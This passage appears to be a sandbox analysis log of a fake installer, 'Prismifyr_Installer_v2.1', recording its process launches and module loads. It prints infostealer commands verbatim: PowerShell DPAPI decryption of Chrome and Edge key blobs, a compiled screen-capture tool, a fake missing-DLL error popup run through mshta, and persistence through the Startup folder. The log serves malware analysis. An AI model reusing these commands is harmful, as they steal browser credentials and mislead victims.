6,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9E2A.tmp" "c:\Users\user\AppData\Local\Temp\screenCapture\CSCEE08CA83D7542AAB04A7698A66ECD4F.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe screenCapture_1.3.2.exe "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png"
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe"
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2244,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --field-trial-handle=2516,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /fo csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe screenCapture_1.3.2.exe "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9E2A.tmp" "c:\Users\user\AppData\Local\Temp\screenCapture\CSCEE08CA83D7542AAB04A7698A66ECD4F.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: ffmpeg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: kbdus.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: propsys.dll	Jump to behavior
